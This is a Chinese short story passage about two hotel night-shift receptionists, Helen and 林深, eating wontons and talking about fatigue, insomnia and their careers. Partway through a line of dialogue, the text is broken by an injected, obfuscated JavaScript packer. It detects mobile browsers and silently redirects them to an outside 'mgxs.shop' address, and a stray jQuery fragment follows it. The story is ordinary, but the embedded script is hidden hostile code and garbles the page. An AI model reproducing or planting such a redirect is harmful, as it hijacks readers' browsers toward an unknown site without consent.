晚上十一点，入住高峰过去以后，大堂终于安静下来。Helen坐在电脑后面回邮件，林深低头处理报表。礼宾推着空行李车经过，保安坐在监控室门口玩手机，整个酒店进入夜班特有的平静。
十二点半，Helen拿起手机。
“吃什么？”
林深抬头。
“什么？”
“外卖。”
“随便。”
Helen看着她。
“最讨厌别人说随便。”
“那馄饨。”
“行。”
五分钟后，Helen下单。二十分钟后，外卖到了。两个人坐在前台后面吃馄饨，热气慢慢往上飘。大堂灯光很亮，外面偶尔有出租车停下，客人拖着箱子进来，又拖着箱子离开。夜晚像被拉得很长。
Helen吃了两个馄饨，忽然抬头。
“你最近是不是有心事？”
林深愣了一下。
“没有。”
“骗鬼。”
“真没有。”
Helen低头继续吃。
“你最近状态特别差。”
“有吗？”
“有。”
林深没说话。Helen继续。
“上周开始的。失眠？”
林深沉默两秒。
“有一点。”
Helen点头，好像一点都不意外。
“胃呢？”
“还行。”
“骗人。”
“……”
Helen喝了口汤。
“你们这些年轻人有个毛病。”
“什么？”
“觉得自己能扛。”
林深笑了。
“我真能扛。”
Helen也笑。
“谁不能扛。”
大厅电话响起来。Helen起身接电话，是客人房卡消磁。五分钟后，Helen拿着新的房卡上楼。林深继续坐在前台。大厅很安静，偶尔有人经过，偶尔电话响，偶尔电梯门开开关关。
半小时后，Helen回来，重新坐下。馄饨已经凉了一半。
“解决了？”
“嗯。”
“什么问题？”
“房卡。”
“哦。”
两个人继续吃，又安静下来。过了一会儿，Helen忽然说。
“你知道我为什么一直做酒店吗？”
林深抬头。这个问题她从来没问过。
“为什么？”
Helen想了想。
“习惯了。”
“就这么简单？”
“就这么简单。”
“我不信。”
Helen笑出声。
“真就这么简单。做着做着十几年过去了，然后就不会干别的了。”
大厅门自动打开，一个客人走进来，办理入住，离开。Helen等客人走远以后才继续说。
“其实刚开始也想过换工作。后来结婚，生孩子，房贷，学区，慢慢就这样了。”
她说得很平静，像在说别人的事情。林深忽然发现，她其实不知道Helen多少岁，不知道Helen什么时候结婚，不知道Helen来酒店多久。明明一起上了这么久班，却从来没聊过这些。
“后悔吗？”
林深问。Helen想了想。
“不后悔。”
“真的？”
“真的。”
“为什么？”
Helen笑了。
“因为我也不知道我能干什么。”<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17882499|207913||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
/p>
两个人一起笑出来。
凌晨三点，大厅越来越安静。保安开始巡楼，礼宾躲去后面喝咖啡，夜晚慢慢往更深的地方走。Helen靠在椅子上，忽然问。
“你以后会一直做酒店吗？”
林深愣住。这次沉默比刚才更久。以前有人问这个问题，她会直接回答——会。可现在，她忽然说不出来。Helen等了一会儿，没催。
过了很久，林深才笑了一下。
“我不知道。”
Helen点点头。
“正常。我二十几岁的时候也不知道。”
大厅灯光落在前台台面上，很亮，又有点空。电话忽然响起来，Helen顺手接起。
“您好。”
“电视不会开？”
“好的，我马上让工程过去。”
挂断电话，Helen站起来。
“工程下班了，我去看看。”
林深笑了。
“你还会修电视？”
“不会。”
“那你去干嘛？”
Helen拿起对讲机。
“重启。”
说完走了。林深看着她的背影消失在电梯里，忽然觉得有点奇怪。以前她总觉得Helen什么都会，什么问题都能解决。今天才发现，Helen其实也只是一个普通人——会累，会失眠，会担心孩子发烧，会被客人气得想骂人，也会遇见不知道怎么办的事情。只是大部分时候，她没说而已。
凌晨四点，Helen从楼上回来。
“修好了？”
“好了。”
“真重启？”
“真重启。”
林深笑了。Helen也笑。大堂重新安静下来，夜班继续往前走，像什么都没发生过一样。